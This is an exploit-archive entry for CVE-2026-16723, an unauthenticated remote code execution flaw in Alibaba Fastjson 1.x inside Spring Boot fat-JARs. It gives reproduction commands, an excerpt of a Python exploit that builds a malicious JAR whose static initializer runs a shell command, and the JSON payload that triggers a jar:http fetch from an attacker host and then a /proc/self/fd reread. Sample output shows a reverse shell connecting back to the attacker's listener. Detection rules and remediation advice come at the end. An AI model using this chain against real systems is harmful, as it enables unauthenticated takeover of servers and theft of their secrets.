PoC Archive PoC Archive
CVE-2026-16723 category: web CVSS 9 (CRITICAL)
Unpatched

Alibaba Fastjson 1.x checkAutoType Bypass to Remote Code Execution via jar:http SSRF and fd-Reread Trick (CVE-2026-16723)

Published: 2026-07-31 • Researcher: EQSTLab

Target software Alibaba Fastjson (Java JSON library), packaged inside a Spring Boot executable fat-JAR
Affected versions 1.2.68 through 1.2.83 (entire supported 1.x line; no fixed 1.x release exists)
Status PoC (no vendor patch, Fastjson 1.x line unpatched)
Severity Critical · CVSS 9
On this page

Metadata

FieldValue
Date Added2026-07-31
Last Updated2026-07-30
Author / ResearcherEQSTLab
CVE / AdvisoryCVE-2026-16723
Categoryweb
SeverityCritical
CVSS Score9.0 (CVSS 3.1, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)
StatusPoC (no vendor patch, Fastjson 1.x line unpatched)
Tagsfastjson, deserialization, rce, java, spring-boot, autotype-bypass, jar-protocol, ssrf
RelatedN/A

Affected Target

FieldValue
Software / SystemAlibaba Fastjson (Java JSON library), packaged inside a Spring Boot executable fat-JAR
Versions Affected1.2.68 through 1.2.83 (entire supported 1.x line; no fixed 1.x release exists)
Language / PlatformJava 17, Spring Boot 3.2.0, Fastjson 1.2.83
Authentication RequiredNo
Network Access RequiredYes — direct reachability to the target HTTP JSON-parsing endpoint

Summary

CVE-2026-16723 is a critical, unauthenticated remote code execution vulnerability in Alibaba Fastjson 1.2.68 through 1.2.83, actively exploited in the wild against Spring Boot fat-JAR deployments. Under Fastjson stock defaults (AutoType disabled, SafeMode disabled), a crafted @type value in attacker-controlled JSON is resolved by checkAutoType as a jar:http:// class-resource URL, causing the target to fetch an attacker-hosted JAR over the network (an SSRF-style outbound fetch) and load a class carrying a @JSONType annotation. Because modern JDK and Tomcat builds reject the resulting jar:http:// binary name at the class-loader level, the reliable variant of the attack first seeds the JAR into the JVM’s URLClassLoader cache and then re-reads it through a jar:file:/proc/self/fd/N path, bypassing the binary-name validation check entirely. Once the class is defined, its static initializer (<clinit>) runs automatically — no full AutoType gadget chain or explicit method invocation is required — giving the attacker remote code execution as the service account with no authentication and no user interaction.

Vulnerability Details

Root Cause

Two chained flaws combine to produce full RCE (CWE-20 Improper Input Validation and CWE-502 Deserialization of Untrusted Data per the vendor advisory):

  1. checkAutoType bypass via @JSONType, not classic AutoType. Fastjson’s checkAutoType guard is meant to stop arbitrary @type values from being resolved to attacker-chosen classes when AutoType is disabled (the default posture). This vulnerability does not need AutoType enabled and does not need a classpath gadget chain at all: it abuses @type resolution as a class-resource lookup, which Fastjson will still perform, and the target class only needs to carry the @JSONType annotation for the annotation-processing path to be reached.
  2. jar:http SSRF plus fd-reread bypass of binary-name validation. Inside a Spring Boot executable fat-JAR, the classloader resolves attacker-supplied class names as jar:http://<attacker>:<port>/x!/<entry> URLs, so the JVM makes an outbound HTTP fetch of an attacker-hosted JAR (SSRF-style). A modern JDK/Tomcat rejects the jar:http:// binary name outright at definition time, so the reliable exploit path first primes the same bytes into the JVM’s internal JAR-URL cache via that jar:http:// fetch, then issues a second @type lookup against jar:file:/proc/self/fd/N!/... — reading the exact same underlying file descriptor back from /proc/self/fd, which the binary-name check accepts because the path now presents as a local file: URL rather than a network one. The class carried in that re-read JAR entry is then defined and its <clinit> static initializer executes immediately, running attacker-supplied code (Runtime.getRuntime().exec(...)) with no further interaction.

Because the number of the fd used to cache the JAR is not deterministic, the working PoC in this entry sprays candidate @type entries across a range of file-descriptor numbers (fd 3 through fd 30 by default) inside a single JSON request body, so that whichever fd the JVM actually used for the priming fetch is also covered by one of the reread attempts.

Attack Vector

  1. Attacker hosts a specially built JAR over plain HTTP and stands up a raw TCP listener for a reverse shell.
  2. Attacker sends a single unauthenticated POST to the target JSON-parsing endpoint (here, /api/products/search) with a body containing a list field (facets) whose entries are @type objects: one entry pointing at jar:http://<attacker>:<port>/x!/foo/Exception, followed by 28 more entries — one per candidate file descriptor — each pointing at jar:file:/proc/self/fd/<N>!/fd<N>/Exception.
  3. Fastjson parses the JSON body into the target’s loosely-typed List<Object> facets field, resolving each @type value in turn.
  4. The first entry causes the target to fetch the attacker’s JAR over HTTP and seed it into the JVM’s URLClassLoader cache under some file descriptor N.
  5. One of the subsequent jar:file:/proc/self/fd/N entries matches the actual fd used, the JVM re-reads the cached bytes as a local file, the binary-name check passes, the class carrying @JSONType is defined, and its <clinit> runs Runtime.getRuntime().exec(["/bin/sh","-c", <base64-decoded reverse-shell command>]).
  6. The reverse shell connects back to the attacker’s listener as the service account (shop, uid 1001 in the lab Dockerfile).

Impact

Remote code execution as the JVM process user (the lab runs the Spring Boot process as a dedicated non-root shop user, uid 1001, but production deployments vary). In practice this yields secret/credential disclosure from the host and environment (database credentials, cloud IAM tokens, internal API keys commonly injected as environment variables into Spring Boot containers) and a foothold for full compromise of the affected application and any services it can reach. Because the vulnerability requires only Fastjson’s stock default configuration (SafeMode off, AutoType off) — the out-of-the-box posture for the entire 1.2.68–1.2.83 range — any Spring Boot fat-JAR service that parses attacker-reachable JSON with an unpatched Fastjson 1.x is exposed with no additional misconfiguration needed.

Environment / Lab Setup

Output
OS:          Any Docker host (lab verified on Linux)
Target:      Northwind Store — Spring Boot 3.2.0 fat-JAR, Java 17, Fastjson 1.2.83 (Dockerfile in this folder)
Attacker:    Python 3 (stdlib only — no third-party packages required)
Tools:       attacker/exploit.py (this folder), Docker

Setup Steps

Shell script
1
2
3
4
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723

curl http://TARGET_IP:8080/api/health

The lab target binds its /api/products/search request body with Fastjson under stock defaults: SafeMode off, AutoType off, packaged as a Spring Boot executable fat-JAR — the exact configuration required for exploitation, with no additional misconfiguration.

Proof of Concept

See attacker/exploit.py, Dockerfile, pom.xml, and the src/ lab target tree in this folder — mirrored unmodified from EQSTLab/CVE-2026-16723 (upstream README saved as upstream-README.md). Verified before ingestion: the full source tree was read directly — the Spring Boot CatalogController/SearchFilter/Product target classes genuinely bind the request body with JSON.parseObject(body, SearchFilter.class) against a loosely-typed List<Object> facets field, and exploit.py genuinely builds raw Java .class bytes (a hand-rolled class-file constant-pool/bytecode writer, no JDK required), packages them into a JAR, serves that JAR over HTTP, and drives a reverse-shell listener. No obfuscation, no phone-home to any third party, no destructive behavior — the only network calls are to attacker-operator-specified --lhost/--lport/--http-port values. Author EQSTLab is the SK Shieldus EQST Korean security research team, an established, credible account.

Step-by-Step Reproduction

  1. Bring up the vulnerable target — Docker build/run of the Northwind Store Spring Boot fat-JAR

    Shell script
    1
    2
    
    docker build -t cve-2026-16723 .
    docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
  2. Confirm the target is up and reachable

    Shell script
    1
    2
    3
    
    curl http://TARGET_IP:8080/api/health
    curl -X POST http://TARGET_IP:8080/api/products/search \
      -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
  3. Run the exploit on the attacker machine — builds the payload JAR, serves it over HTTP, and starts a reverse-shell listener; only the callback address is required

    Shell script
    1
    
    python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
  4. Deliver the payload — paste the printed JSON body (also saved to body.json) into the search endpoint via Burp Repeater or curl

    Shell script
    1
    2
    
    curl -X POST http://TARGET_IP:8080/api/products/search \
      -H 'Content-Type: application/json' --data-binary @body.json
  5. Confirm code execution — the reverse shell connects back to the attacker listener as the service account

    Shell script
    1
    
    whoami

Exploit Code

See attacker/exploit.py in this folder (full, unmodified upstream source, 244 lines).

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
os.makedirs(args.outdir, exist_ok=True)
jar_path = os.path.join(args.outdir, "x")
with zipfile.ZipFile(jar_path, "w", zipfile.ZIP_STORED) as z:
    z.writestr("foo/Exception.class", seed_class("foo/Exception"))
    for fd in range(args.first, args.last + 1):
        internal = "jar:file:/proc/self/fd/%d!/fd%d/Exception" % (fd, fd)
        z.writestr("fd%d/Exception.class" % fd, payload_class(internal, cmd))

entries = ['{"@type":"jar:http:..%s:%d.x!.foo.Exception"}' % (host_int, args.http_port)]
for fd in range(args.first, args.last + 1):
    entries.append('{"@type":"jar:file:.proc.self.fd.%d!.fd%d.Exception"}' % (fd, fd))
body = '{"%s":[%s]}' % (args.field, ",".join(entries))

The payload_class() function emits a <clinit> static initializer whose bytecode calls Runtime.getRuntime().exec(new String[]{"/bin/sh","-c", command}), and stamps the class with a RuntimeVisibleAnnotations attribute referencing Lcom/alibaba/fastjson/annotation/JSONType; so Fastjson’s annotation-processing path accepts it.

Expected Output

Output
======================================================================
 CVE-2026-16723 exploit ready
======================================================================
[*] jar served at http://ATTACKER_IP:8000/x  (fd 3-30)
[*] reverse shell -> ATTACKER_IP:4444
...
[*] Listening for the reverse shell on 0.0.0.0:4444 ...

[+] SHELL from TARGET_IP:xxxxx

whoami
shop

Detection & Indicators of Compromise

Output
{"@type":"jar:http:..ATTACKER_IP:PORT.x!.foo.Exception"}
{"@type":"jar:file:.proc.self.fd.<N>!.fd<N>.Exception"}

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible CVE-2026-16723 Fastjson jar-protocol AutoType-bypass RCE attempt"; content:"@type"; http_client_body; content:"jar:file"; http_client_body; content:"proc.self.fd"; http_client_body; sid:9000002;)
alert http any any -> any any (msg:"Possible CVE-2026-16723 Fastjson jar:http SSRF stage"; content:"@type"; http_client_body; content:"jar:http"; http_client_body; sid:9000003;)

Remediation

ActionDetail
PatchNone available for the Fastjson 1.x line. Migrate to Fastjson 2.x, which does not use the vulnerable resource-probing mechanism.
WorkaroundPin to the restricted build com.alibaba:fastjson:1.2.83_noneautotype, which disables the resource-probing path used by this technique.
Config HardeningStart the JVM with -Dfastjson.parser.safeMode=true (SafeMode blocks @type processing entirely); at the network layer, block or tightly restrict outbound connections from application servers to arbitrary attacker-controlled hosts to defeat the jar:http SSRF priming stage.

References

Notes

Verified before ingestion per this archive’s verify-before-ingest standard: the full upstream repository (README, attacker/exploit.py, Dockerfile, pom.xml, and the complete src/ Spring Boot lab target tree) was read directly, file by file, before this entry was created — not just repo metadata or README claims. The exploit code genuinely implements the described technique end-to-end (a hand-rolled Java class-file/bytecode builder producing a <clinit>-triggered Runtime.exec payload annotated @JSONType, an HTTP server to host the resulting JAR, and a raw-socket reverse-shell listener), the bundled Spring Boot target genuinely binds request bodies with vulnerable Fastjson 1.2.83 against a loosely-typed list field exactly as the technique requires, and the lab is fully self-contained via the included Dockerfile. No obfuscation, no telemetry/phone-home to third parties, no scam or payment gating, and no destructive behavior were found — the only outbound network activity is to attacker-operator-specified callback addresses. Author EQSTLab is the SK Shieldus EQST Korean security research team, an established and credible security research account, not an anonymous or throwaway one.

The underlying vulnerability was originally discovered and responsibly disclosed to Alibaba by researcher Kirill Firsov of FearsOff Cybersecurity (per public reporting); EQSTLab independently built and published this working lab and exploit chain, which is what is mirrored in this archive entry. Public reporting (Imperva, ThreatBook) describes real-world scanning and exploitation attempts against financial services, healthcare, computing, and retail targets predominantly in the United States, though neither vendor confirmed successful code execution against a live production target in those reports — the working end-to-end chain is nonetheless independently demonstrated by this self-contained PoC lab.